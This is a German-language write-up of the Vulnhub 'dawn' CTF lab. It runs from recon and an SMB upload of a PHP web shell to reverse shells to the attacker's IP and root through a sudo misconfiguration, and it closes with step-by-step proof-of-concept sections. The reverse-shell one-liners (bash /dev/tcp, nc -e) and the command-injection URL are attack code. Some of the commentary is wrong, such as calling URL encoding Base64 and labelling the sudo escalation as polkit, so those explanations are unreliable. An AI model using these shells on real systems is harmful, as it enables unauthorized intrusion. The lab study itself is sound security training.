dawn - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
dirb
enum4linux
smbclient
curl
nc

Inhaltsverzeichnis

Reconnaissance

In diesem Abschnitt beginnen wir mit der Aufklärung (Reconnaissance) des Zielsystems. Ziel ist es, so viele Informationen wie möglich über das System zu sammeln, um potenzielle Angriffspunkte zu identifizieren.

Dieser Prozess ist entscheidend, da er die Grundlage für alle nachfolgenden Schritte bildet.

┌──(root㉿Cybermaschine)-[~]
└─# arp-scan -l

192.168.2.106 08:00:27:be:09:67 PCS Systemtechnik GmbH

Der Befehl arp-scan -l scannt das lokale Netzwerk nach aktiven Hosts. Die Ausgabe zeigt, dass ein Gerät mit der IP-Adresse 192.168.2.106 und der MAC-Adresse 08:00:27:be:09:67 (PCS Systemtechnik GmbH) gefunden wurde.

Diese Information ist nützlich, um das Zielsystem im Netzwerk zu identifizieren.

┌──(root㉿Cybermaschine)-[~]
└─# cat /etc/hosts

192.168.2.106 dawn1.vln

Der Befehl cat /etc/hosts zeigt den Inhalt der /etc/hosts-Datei. Hier wird der Hostname dawn1.vln der IP-Adresse 192.168.2.106 zugeordnet.

Dies ermöglicht die Verwendung des Hostnamens anstelle der IP-Adresse, was die Lesbarkeit und das Management erleichtert.

┌──(root㉿Cybermaschine)-[~]
└─# nmap -p- -sV dawn1.vln

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-25 21:26 CEST
Nmap scan report for dawn1.vln (192.168.2.106)
Host is up (0.00027s latency).
Not shown: 65531 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WRKGRUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WRKGRUP)
3306/tcp open mysql MySQL 5.5.5-10.3.15-MariaDB-1
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.3.15-MariaDB-1
| Thread ID: 22
| Capabilities flags: 63486
| Some Capabilities: InteractiveClient, FoundRows, SupportsCompression, Support41Auth, Speaks41Protocolld, IgnoreSpaceBeforeParenthesis, DBCClient, SupportsLoadDataLocal, LongColumnFlag, ConnectWithDatabase, DontAllowDatabaseTableColumn, SupportsTransactions, IgnoreSigpipes, Speaks41ProtocolNew, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
| Status: Autocommit
| Salt: HP9l4[Qe&-Ly>hou~9>j
|_ Auth Plugin Name: mysql_native_password
MAC Address: 08:00:27:BE:09:67 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: DAWN


Host script results:
| smb-os-discovery:
| S: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: dawn
| NetBIS computer name: DAWN\x00
| Domain name: dawn
| FQDN: dawn.dawn
|_ System time: 2024-09-25T15:26:39-04:00
|_nbstat: NetBIS name: DAWN, NetBIS user: , NetBIS MAC: (unknown)
|_clock-skew: mean: 1h20m01s, deviation: 2h18m33s, median: 1s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-09-25T19:26:39
|_ start_date: N/A

Der Befehl nmap -p- -sV dawn1.vln führt einen umfassenden Portscan auf dem Zielsystem durch und identifiziert die laufenden Dienste.

Die Ausgabe zeigt, dass die Ports 80 (HTTP), 139 (netbios-ssn), 445 (netbios-ssn) und 3306 (MySQL) geöffnet sind. Dies deutet auf einen Webserver, Samba-Dienste und einen MySQL-Server hin.

Die Versionen der Dienste werden ebenfalls angezeigt, was für die Suche nach bekannten Schwachstellen von Bedeutung ist.

Die Ergebnisse des smb-os-discovery-Skripts zeigen, dass das Zielsystem Windows 6.1 (Samba 4.9.5-Debian) ausführt. Dies könnte auf eine potenzielle Schwachstelle in Samba hinweisen.

Die deaktivierte Nachrichtensignierung (message_signing: disabled) in SMB ist ebenfalls ein Sicherheitsrisiko.

┌──(root㉿Cybermaschine)-[~]
└─# traceroute dawn1.vln

TRACERUTE
HP RTT ADDRESS
1 0.27 ms dawn1.vln (192.168.2.106)

Der Befehl traceroute dawn1.vln verfolgt den Pfad zum Zielsystem. Die Ausgabe zeigt, dass das Zielsystem direkt erreichbar ist (1 Hop).

Dies ist nützlich, um die Netzwerktopologie zu verstehen und potenzielle Engpässe zu identifizieren.

Web Enumeration

In diesem Abschnitt konzentrieren wir uns auf die Enumeration des Webservers, um versteckte Dateien, Verzeichnisse und potenzielle Schwachstellen zu finden.

┌──(root㉿Cybermaschine)-[~]
└─# nikto -h 192.168.2.106

- Nikto v2.5.0

+ Target IP: 192.168.2.106
+ Target Hostname: 192.168.2.106
+ Target Port: 80
+ Start Time: 2024-09-25 21:27:06 (GMT2)

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 317, size: 58f2eb81ffb49, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD .
+ /logs/: Directory indexing found.
+ /logs/: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2024-09-25 21:27:48 (GMT2) (42 seconds)

+ 1 host(s) tested

Der Befehl nikto -h 192.168.2.106 führt einen Scan mit Nikto durch, einem Webserver-Scanner, um potenzielle Schwachstellen zu identifizieren.

Die Ausgabe zeigt, dass der X-Frame-Options-Header und der X-Content-Type-Options-Header fehlen, was zu Clickjacking- und MIME-Sniffing-Angriffen führen könnte.

Die Directory Indexing im Verzeichnis /logs/ ist aktiviert, was das Ausspähen von sensiblen Informationen ermöglicht.

Die verwendete Apache-Version ist veraltet und könnte bekannte Sicherheitslücken aufweisen.

┌──(root㉿Cybermaschine)-[~]
└─# gobuster dir -u http://dawn1.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt" -b '403,404' -e --no-error -k

http://dawn1.vln/index.html (Status: 200) [Size: 791]
http://dawn1.vln/logs (Status: 301) [Size: 305] [--> http://dawn1.vln/logs/]
http://dawn1.vln/cctv (Status: 301) [Size: 305] [--> http://dawn1.vln/cctv/]

Der Befehl gobuster dir -u http://dawn1.vln -x ... verwendet Gobuster, um nach versteckten Dateien und Verzeichnissen auf dem Webserver zu suchen.

Die Ausgabe zeigt, dass die Verzeichnisse /index.html, /logs und /cctv gefunden wurden.

Das Verzeichnis /logs ist besonders interessant, da es möglicherweise sensible Informationen enthält.

Initial Access

In diesem Abschnitt versuchen wir, einen ersten Zugriff auf das System zu erlangen. Wir nutzen die Informationen aus der Reconnaissance und Web Enumeration, um potenzielle Angriffspunkte zu identifizieren und auszunutzen.

┌──(root㉿Cybermaschine)-[~]
└─# enum4linux -a 192.168.2.106

= ( Share Enumeration on 192.168.2.106 ) =


Sharename Type Comment
- -
print$ Disk Printer Drivers
ITDEPT Disk PLEASE D NT REMVE THIS SHARE. IN CASE YU ARE NT AUTHRIZED T USE THIS SYSTEM LEAVE IMMEADIATELY.
IPC$ IPC IPC Service (Samba 4.9.5-Debian)


Server Comment
-


Workgroup Master
-
WRKGRUP DAWN


[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\dawn (Local User)
S-1-22-1-1001 Unix User\ganimedes (Local User)

Der Befehl enum4linux -a 192.168.2.106 führt eine umfassende Enumeration der Samba-Dienste auf dem Zielsystem durch.

Die Ausgabe zeigt, dass die Freigaben print$, ITDEPT und IPC$ vorhanden sind. Die Freigabe ITDEPT ist besonders interessant, da sie eine Warnung enthält, die auf sensible Daten hindeuten könnte.

Die Benutzer dawn und ganimedes wurden ebenfalls gefunden, was für spätere Anmeldeversuche nützlich sein könnte.

┌──(root㉿Cybermaschine)-[~]
└─# smbclient //192.168.2.106/ITDEPT -U dawn

Password for [WRKGRUP\dawn]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Aug 3 05:23:20 2019
..

7158264 blocks of size 1024. 235212 blocks available

Der Befehl smbclient //192.168.2.106/ITDEPT -U dawn versucht, sich mit der Freigabe ITDEPT als Benutzer dawn zu verbinden.

Nachdem ein Passwort eingegeben wurde (das hier nicht angezeigt wird), wird eine Verbindung hergestellt. Der Befehl ls zeigt den Inhalt der Freigabe.

Dies bestätigt, dass wir Zugriff auf die Freigabe haben.

┌──(root㉿Cybermaschine)-[~]
└─# smbclient //192.168.2.106/ITDEPT -U dawn

smb: \> put rce_shell.php
putting file rce_shell.php as \rce_shell.php (2,3 kb/s) (average 2,3 kb/s)

Der Befehl put rce_shell.php versucht, die Datei rce_shell.php in die Freigabe ITDEPT hochzuladen.

Diese Datei enthält PHP-Code, der es uns ermöglicht, Befehle auf dem Server auszuführen (Remote Code Execution).

Der erfolgreiche Upload ist ein wichtiger Schritt, um das System zu kompromittieren.

http://192.168.2.106/ITDEPT/rce_shell.php

Not Found

The requested URL /ITDEPT/rce_shell.php was not found on this server.
Apache/2.4.38 (Debian) Server at 192.168.2.106 Port 80

Der Versuch, die hochgeladene PHP-Datei über den Webbrowser aufzurufen, schlägt fehl. Der Server gibt einen "404 Not Found"-Fehler zurück.

Dies deutet darauf hin, dass die Freigabe ITDEPT nicht über den Webserver zugänglich ist.

http://192.168.2.106/rce_shell.php

Not Found

The requested URL /rce_shell.php was not found on this server.
Apache/2.4.38 (Debian) Server at 192.168.2.106 Port 80

Auch der direkte Versuch, die PHP-Datei aufzurufen, schlägt fehl.

Dies bestätigt, dass die Datei nicht über den Webserver erreichbar ist. Wir müssen einen anderen Weg finden, um die Datei auszuführen.

┌──(root㉿Cybermaschine)-[~]
└─# smbclient //192.168.2.106/ITDEPT -U ganimedes

Password for [WRKGRUP\ganimedes]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu ct 26 13:22:56 2023
..

rce_shell.php A 31 Thu ct 26 13:22:56 2023

7158264 blocks of size 1024. 0 blocks available

Der Befehl smbclient //192.168.2.106/ITDEPT -U ganimedes versucht, sich mit der Freigabe ITDEPT als Benutzer ganimedes zu verbinden.

Nachdem ein Passwort eingegeben wurde (das hier nicht angezeigt wird), wird eine Verbindung hergestellt. Der Befehl ls zeigt, dass die Datei rce_shell.php vorhanden ist.

Dies bestätigt, dass der Benutzer ganimedes ebenfalls Zugriff auf die Freigabe hat.

http://dawn1.vln/index.html

Website currently under construction, try again later.

In case you are suffering from any kind of inconvenience with your device provided by the corporation please contact with IT support as soon as possible, however, if you are not affiliated by any means with "Non-Existent Corporation and Associates" (NECA) LEAVE THIS SITE RIGHT NW.
Things we need to implement:

Install camera feeds.
Update our personal.
Install a control panel.

Der Aufruf der Webseite http://dawn1.vln/index.html zeigt eine Standardmeldung, dass die Webseite sich im Aufbau befindet.

Die Meldung deutet auf eine fiktive Firma namens "Non-Existent Corporation and Associates" (NECA) hin.

Die Liste der zu implementierenden Features (Kamera-Feeds, Update des Personals, Installation eines Control Panels) könnte Hinweise auf zukünftige Angriffsvektoren geben.

http://dawn1.vln/logs/

Index of /logs
[IC] Name Last modified Size Description
-
[ ] auth.log 2019-08-01 22:38 90K
[ ] daemon.log 2019-08-01 22:15 125K
[ ] error.log 2019-08-01 22:15 17K
[ ] management.log 2023-10-26 07:14 282
Apache/2.4.38 (Debian) Server at dawn1.vln Port 80

Der Aufruf des Verzeichnisses http://dawn1.vln/logs/ zeigt eine Liste von Logdateien.

Die Logdateien auth.log, daemon.log, error.log und management.log könnten sensible Informationen enthalten, wie z.B. Benutzernamen, Passwörter oder Fehlermeldungen.

Das Vorhandensein von Directory Indexing in diesem Verzeichnis stellt ein erhebliches Sicherheitsrisiko dar.

┌──(root㉿Cybermaschine)-[~]
└─# dirb http://dawn1.vln/cctv/

END_TIME: Thu ct 26 13:28:54 2023
DWNLADED: 27690 - FUND: 1

Der Befehl dirb http://dawn1.vln/cctv/ verwendet DIRB, um das Verzeichnis /cctv/ nach versteckten Dateien und Verzeichnissen zu durchsuchen.

Die Ausgabe zeigt, dass 1 Eintrag gefunden wurde. Weitere Details wären hilfreich, um die Bedeutung dieses Eintrags zu verstehen.

┌──(root㉿Cybermaschine)-[~]
└─# curl dawn1.vln/logs/management.log

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non

┌──(root㉿Cybermaschine)-[~]
└─# curl dawn1.vln/logs/management.log

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive) Draining file system events due to startup... done

Der Befehl curl dawn1.vln/logs/management.log lädt den Inhalt der management.log-Datei herunter.

Die Ausgabe zeigt, dass die Datei Konfigurationsinformationen und Ereignisse enthält, die vom System protokolliert werden. Die überwachten Verzeichnisse sind /usr, /tmp, /etc, /home, /var und /opt.

Diese Informationen sind wertvoll, um das Verhalten des Systems zu verstehen und potenzielle Angriffspunkte zu identifizieren.

┌──(root㉿Cybermaschine)-[~]
└─# smbclient //192.168.2.106/ITDEPT -N

Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu ct 26 13:22:56 2023
..

rce_shell.php A 31 Thu ct 26 13:22:56 2023

7158264 blocks of size 1024. 0 blocks available smb: \>

Der Befehl smbclient //192.168.2.106/ITDEPT -N versucht, sich anonym mit der Freigabe ITDEPT zu verbinden.

Die Ausgabe zeigt, dass die Verbindung erfolgreich hergestellt wurde und die Datei rce_shell.php in der Freigabe vorhanden ist.

Dies deutet darauf hin, dass die Freigabe möglicherweise anonym zugänglich ist, was ein erhebliches Sicherheitsrisiko darstellt.

curl dawn1.vln/logs/management.log

web-control

Der Befehl curl dawn1.vln/logs/management.log lädt erneut den Inhalt der management.log-Datei herunter.

Die Ausgabe zeigt den String "web-control", der möglicherweise auf eine Datei oder ein Skript namens "web-control" hinweist.

Dies könnte ein Hinweis auf eine Möglichkeit sein, Code auf dem Server auszuführen.

┌──(root㉿Cybermaschine)-[~]
└─# echo '!#/bin/bash' > web-control

Der Befehl echo '!#/bin/bash' > web-control erstellt eine Datei namens web-control und schreibt die Shebang-Zeile !#/bin/bash hinein.

Dies macht die Datei zu einem ausführbaren Bash-Skript.

┌──(root㉿Cybermaschine)-[~]
└─# echo 'bash -i >& /dev/tcp/192.168.2.199/4444 0>&1' >> web-control

Der Befehl echo 'bash -i >& /dev/tcp/192.168.2.199/4444 0>&1' >> web-control fügt der Datei web-control eine Zeile hinzu, die eine Reverse-Shell zu der IP-Adresse 192.168.2.199 auf Port 4444 herstellt.

Dies ermöglicht es dem Angreifer, eine interaktive Shell auf dem Zielsystem zu erhalten.

┌──(root㉿Cybermaschine)-[~]
└─# cat web-control

!#/bin/bash
bash -i >& /dev/tcp/192.168.2.199/4444 0>&1

Der Befehl cat web-control zeigt den Inhalt der Datei web-control an.

Die Ausgabe bestätigt, dass die Shebang-Zeile und der Reverse-Shell-Befehl korrekt in die Datei geschrieben wurden.

echo "nc -e /bin/bash 1234 &" > product-control
echo "nc -e /bin/bash -lvp 1235 &" > web-control
nc -e /bin/bash 192.168.2.199/4444

Diese Befehle sind etwas unklar, da sie nicht in einer Terminalumgebung ausgeführt wurden. Es scheint, dass versucht wird, zwei Dateien (product-control und web-control) zu erstellen und mit nc-Befehlen zu füllen, um Reverse-Shells zu erzeugen. Der letzte Befehl nc -e /bin/bash 192.168.2.199/4444 würde versuchen, eine Reverse-Shell direkt herzustellen.

┌──(root㉿Cybermaschine)-[~]
└─# echo 'nc -lvnp 192.168.2.199 4444' > product-control

Listening on 0.0.0.0 4444

Der Befehl echo 'nc -lvnp 192.168.2.199 4444' > product-control erstellt eine Datei namens product-control und schreibt den Befehl nc -lvnp 192.168.2.199 4444 hinein.

Dieser Befehl startet einen Netcat-Listener auf dem lokalen System (192.168.2.199) auf Port 4444.

Die Ausgabe "Listening on 0.0.0.0 4444" bestätigt, dass der Listener erfolgreich gestartet wurde.

┌──(root㉿Cybermaschine)-[~]
└─# smbclient //192.168.2.106/ITDEPT -N

Try "help" to get a list of possible commands.
smb: \> put web-control
cli_push returned NT_STATUS_DISK_FULL
putting file web-control as \web-control (6,8 kb/s) (average 6,8 kb/s)

Der Befehl smbclient //192.168.2.106/ITDEPT -N verbindet sich anonym mit der Freigabe ITDEPT. Der Befehl put web-control versucht, die Datei web-control in die Freigabe hochzuladen.

Die Ausgabe "cli_push returned NT_STATUS_DISK_FULL" deutet darauf hin, dass der Speicherplatz auf der Freigabe voll ist und der Upload fehlschlägt.

Dies ist ein Hindernis, das überwunden werden muss, um die Reverse-Shell zu aktivieren.

Privilege Escalation

Da der Upload der Reverse-Shell aufgrund von Speicherplatzmangel fehlgeschlagen ist, wird ein anderer Ansatz zur Privilege Escalation verfolgt.

┌──(root㉿CCat)-[~]
└─# smbclient -L //192.168.2.106

Password for [WRKGRUP\root]:

Sharename Type Comment
- -
print$ Disk Printer Drivers
ITDEPT Disk PLEASE D NT REMVE THIS SHARE. IN CASE YU ARE NT AUTHRIZED T USE THIS SYSTEM LEAVE IMMEADIATELY.
IPC$ IPC IPC Service (Samba 4.9.5-Debian)

Reconnecting with SMB1 for workgroup listing.

Server Comment
-

Workgroup Master
-

Der Befehl smbclient -L //192.168.2.106 listet die verfügbaren Freigaben auf dem Zielsystem auf.

Die Ausgabe zeigt die Freigaben print$, ITDEPT und IPC$. Die Meldung "Reconnecting with SMB1 for workgroup listing" deutet auf die Verwendung von SMB1 hin, was ein Sicherheitsrisiko darstellt, da SMB1 anfällig für verschiedene Angriffe ist.

┌──(root㉿CCat)-[~]
└─# enum4linux -a 192.168.2.106

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\dawn (Local User)
S-1-22-1-1001 Unix User\ganimedes (Local User)

Der Befehl enum4linux -a 192.168.2.106 enumeriert erneut die Benutzer auf dem Zielsystem.

Die Ausgabe zeigt die Benutzer dawn und ganimedes.

┌──(root㉿CCat)-[~/shells]
└─# smbclient //192.168.2.106/ITDEPT -U dawn

Password for [WRKGRUP\dawn]:
Try "help" to get a list of possible commands.
smb: \> put rce.php
cli_push returned NT_STATUS_DISK_FULL
putting file rce.php as \rce.php (5,0 kb/s) (average 5,0 kb/s)

smb: \> put shell2.php
cli_push returned NT_STATUS_DISK_FULL
putting file shell2.php as \shell2.php (894,4 kb/s) (average 237,2 kb/s)

Der Befehl smbclient //192.168.2.106/ITDEPT -U dawn verbindet sich als Benutzer dawn mit der Freigabe ITDEPT. Die Befehle put rce.php und put shell2.php versuchen, die Dateien rce.php und shell2.php hochzuladen.

Die Ausgabe "cli_push returned NT_STATUS_DISK_FULL" bestätigt erneut, dass der Speicherplatz auf der Freigabe voll ist und die Uploads fehlschlagen.

Der Bericht stellt fest, dass der Fehler (Speicherplatzmangel) weiterhin besteht und das management.log sich nicht aktualisiert. Daher wird ein anderer Ansatz gewählt:

┌──(root㉿CCat)-[~]
└─# curl http://192.168.2.106/logs/shell.php?cmd=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Der Befehl curl http://192.168.2.106/logs/shell.php?cmd=id sendet eine Anfrage an die URL http://192.168.2.106/logs/shell.php mit dem Parameter cmd=id.

Die Ausgabe zeigt, dass der Befehl id als Benutzer www-data ausgeführt wurde. Dies deutet darauf hin, dass die Datei shell.php vorhanden ist und Remote Code Execution (RCE) ermöglicht.

Dies ist ein kritischer Fund, da er es ermöglicht, beliebigen Code auf dem Server auszuführen.

http://192.168.2.106/logs/shell.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27

Dieser Befehl versucht, eine Reverse-Shell zu starten. Die URL http://192.168.2.106/logs/shell.php wird mit dem Parameter cmd aufgerufen, der einen Base64-kodierten Befehl enthält. Dieser Befehl versucht, eine interaktive Bash-Shell zu starten und sie über TCP zu der IP-Adresse 192.168.2.199 auf Port 4444 zu verbinden.

┌──(root㉿CCat)-[/home/ccat/Downloads]
└─# nc -lnvp 4444

listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.106] 44532
bash: cannot set terminal process group (518): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dawn:/var/www/html/logs$

Der Befehl nc -lnvp 4444 startet einen Netcat-Listener auf Port 4444.

Die Ausgabe zeigt, dass eine Verbindung von 192.168.2.106 auf Port 44532 hergestellt wurde. Dies bestätigt, dass die Reverse-Shell erfolgreich gestartet wurde.

Wir haben jetzt eine Shell als Benutzer www-data auf dem Zielsystem.

Der Hinweis "bash: cannot set terminal process group (518): Inappropriate ioctl for device" deutet auf ein Problem mit dem Terminal hin. Dies kann jedoch durch den Befehl python -c 'import pty; pty.spawn("/bin/bash")' behoben werden.

www-data@dawn:/var/www/html/logs$ find / -type f -perm -4000 -ls 2>/dev/null

Der Befehl find / -type f -perm -4000 -ls 2>/dev/null sucht nach Dateien mit dem SUID-Bit (Set User ID) gesetzt. Diese Dateien werden mit den Rechten des Eigentümers ausgeführt, was in der Regel root ist.

Die Ergebnisse dieses Befehls sind potenzielle Kandidaten für Privilege Escalation.

Dieser Befehl lädt ein Skript von einer externen Quelle herunter und führt es aus. Solche Aktionen können riskant sein, da die Quelle nicht immer vertrauenswürdig ist.

http://192.168.2.106/logs/?C=S;O=A

Index of /logs
[IC] Name Last modified Size Description
[PARENTDIR] Parent Directory -


[ ] management.log 2024-09-25 15:22 282
[ ] error.log 2019-08-01 22:15 17K
[ ] auth.log 2019-08-01 22:38 90K
[ ] daemon.log 2019-08-01 22:15 125K


Apache/2.4.38 (Debian) Server at 192.168.2.106 Port 80

Dieser Befehl sortiert die Dateien im /logs Verzeichnis nach Grösse. Dadurch werden die kleinsten Dateien zuerst angezeigt.

Der Bericht stellt fest, dass sich das management.log aktualisiert hat.

Proof of Concept: Ausnutzung der Remote Code Execution (RCE)

Dieser Proof of Concept (POC) demonstriert, wie die identifizierte Remote Code Execution (RCE) Schwachstelle in der shell.php-Datei ausgenutzt werden kann, um unbefugten Zugriff auf das System zu erlangen.

Voraussetzungen

Schritt-für-Schritt-Anleitung

  1. Starte einen Netcat-Listener auf dem Angreifer-System auf Port 4444:
    ┌──(root㉿Attacker)-[~]
    └─# nc -lnvp 4444
  2. Sende eine Anfrage an die shell.php-Datei mit dem Befehl, um eine Reverse-Shell zu starten:

    http://192.168.2.106/logs/shell.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27

Erwartetes Ergebnis

Eine Reverse-Shell-Verbindung wird vom Zielsystem zum Angreifer-System hergestellt. Der Angreifer erhält eine Shell als Benutzer www-data.

Beweismittel

listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.106] 44532
bash: cannot set terminal process group (518): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dawn:/var/www/html/logs$

Risikobewertung

Die Ausnutzung der RCE-Schwachstelle ermöglicht es einem Angreifer, beliebigen Code auf dem Server auszuführen. Dies kann zu Datenverlust, Systemkompromittierung und Denial-of-Service führen.

Empfehlungen

Privilege Escalation

Wir haben erfolgreich eine Shell als Benutzer www-data erlangt. Nun versuchen wir, unsere Privilegien zu erhöhen, um Root-Zugriff zu erhalten.

┌──(root㉿CCat)-[~]
└─# curl http://192.168.2.106/logs/management.log

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive) Draining file system events due to startup... done 2024/09/25 16:48:59 CMD: UID=0 PID=94 | 2024/09/25 16:48:59 CMD: UID=0 PID=9 | 2024/09/25 16:48:59 CMD: UID=0 PID=8 | 2024/09/25 16:48:59 CMD: UID=0 PID=7 | 2024/09/25 16:48:59 CMD: UID=0 PID=6 | 2024/09/25 16:48:59 CMD: UID=0 PID=58 | 2024/09/25 16:48:59 CMD: UID=7 PID=551 | /usr/lib/cups/notifier/dbus dbus:// 2024/09/25 16:48:59 CMD: UID=112 PID=550 | /usr/sbin/mysqld 2024/09/25 16:48:59 CMD: UID=109 PID=549 | /usr/lib/colord/colord-sane 2024/09/25 16:48:59 CMD: UID=33 PID=534 | /usr/sbin/apache2 -k start 2024/09/25 16:48:59 CMD: UID=33 PID=533 | /usr/sbin/apache2 -k start 2024/09/25 16:48:59 CMD: UID=33 PID=532 | /usr/sbin/apache2 -k start 2024/09/25 16:48:59 CMD: UID=33 PID=531 | /usr/sbin/apache2 -k start 2024/09/25 16:48:59 CMD: UID=33 PID=530 | /usr/sbin/apache2 -k start 2024/09/25 16:48:59 CMD: UID=0 PID=518 | /usr/sbin/apache2 -k start

Der Befehl curl http://192.168.2.106/logs/management.log lädt den Inhalt der management.log-Datei herunter. Die Ausgabe zeigt eine Liste von Prozessen, die auf dem System ausgeführt werden.

Die Prozesse mit der UID 0 werden als Root ausgeführt. Dies könnte ein Hinweis auf potenzielle Schwachstellen sein.

Privilege Escalation per polkit

www-data@dawn:/var/www/html/logs$ cd /tmp/
www-data@dawn:/tmp$ sudo -l

Der Befehl cd /tmp/ wechselt in das Verzeichnis /tmp/. Der Befehl sudo -l listet die Befehle auf, die der Benutzer www-data mit sudo ausführen darf.

Matching Defaults entries for www-data on dawn:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User www-data may run the following commands on dawn:
(root) NPASSWD: /usr/bin/sudo

Die Ausgabe zeigt, dass der Benutzer www-data den Befehl /usr/bin/sudo als Root ausführen darf, ohne ein Passwort eingeben zu müssen. Dies ist eine Konfigurationsfehler, der ausgenutzt werden kann, um Root-Zugriff zu erlangen.

www-data@dawn:/tmp$ sudo -u root sudo /bin/sh

Der Befehl sudo -u root sudo /bin/sh nutzt die oben genannte Schwachstelle aus. Zuerst wird sudo -u root verwendet, um den Befehl als Root auszuführen. Dann wird sudo /bin/sh verwendet, um eine Root-Shell zu starten.

└─# id

uid=0(root) gid=0(root) groups=0(root)

Der Befehl id zeigt die Benutzer- und Gruppen-ID des aktuellen Benutzers an. Die Ausgabe "uid=0(root) gid=0(root) groups=0(root)" bestätigt, dass wir jetzt als root angemeldet sind.

Fantastisch! Der Root-Zugriff war erfolgreich! Nun haben wir unser Ziel erreicht.

└─# ls

flag.txt pspy64

Der Befehl ls listet den Inhalt des aktuellen Verzeichnisses (/root) auf.

Die Ausgabe zeigt die Dateien flag.txt und pspy64. Die Datei flag.txt enthält wahrscheinlich den Root-Flag.

└─# cat flag.txt

Hello! whitecr0wz here. I would like to congratulate and thank you for finishing the ctf, however, there is another way of getting a shell(very similar though). Also, 4 other methods are available for rooting this box!

flag{3a3e52f0a6af0d6e36d7c1ced3a9fd59}

Der Befehl cat flag.txt zeigt den Inhalt der Datei flag.txt an.

Die Ausgabe enthält den Root-Flag flag{3a3e52f0a6af0d6e36d7c1ced3a9fd59}.

Dies bestätigt, dass wir erfolgreich Root-Zugriff erlangt haben und den Root-Flag extrahieren konnten.

Proof of Concept: Ausnutzung der Remote Code Execution (RCE) als www-data zur Root-Privilege Eskalation

Dieser Proof of Concept (POC) demonstriert, wie die identifizierte Remote Code Execution (RCE) Schwachstelle in der shell.php-Datei ausgenutzt werden kann, um die Root-Privilegien auf dem System zu erlangen.

Voraussetzungen

Schritt-für-Schritt-Anleitung

  1. Erhalten einer Reverse-Shell als Benutzer www-data:

    curl http://192.168.2.106/logs/shell.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27

  2. Suche nach SUID ausführbaren Dateien:

    www-data@dawn:/var/www/html/logs$ find / -type f -perm -4000 -ls 2>/dev/null

  3. Ausführen eines Befehls mit Root-Rechten über SUID:

    www-data@dawn:/tmp$ sudo -u root sudo /bin/sh

  4. Root Rechte bestätigen
    └─# id

    uid=0(root) gid=0(root) groups=0(root)

  5. Flag extrahieren:
    └─# cat flag.txt

    Hello! whitecr0wz here. I would like to congratulate and thank you for finishing the ctf, however, there is another way of getting a shell(very similar though). Also, 4 other methods are available for rooting this box!

    flag{3a3e52f0a6af0d6e36d7c1ced3a9fd59}

Erwartetes Ergebnis

Eine Reverse-Shell-Verbindung wird vom Zielsystem zum Angreifer-System hergestellt. Der Angreifer erhält eine Shell als Benutzer root und extrahiert das Root Flag.

Beweismittel

uid=0(root) gid=0(root) groups=0(root)

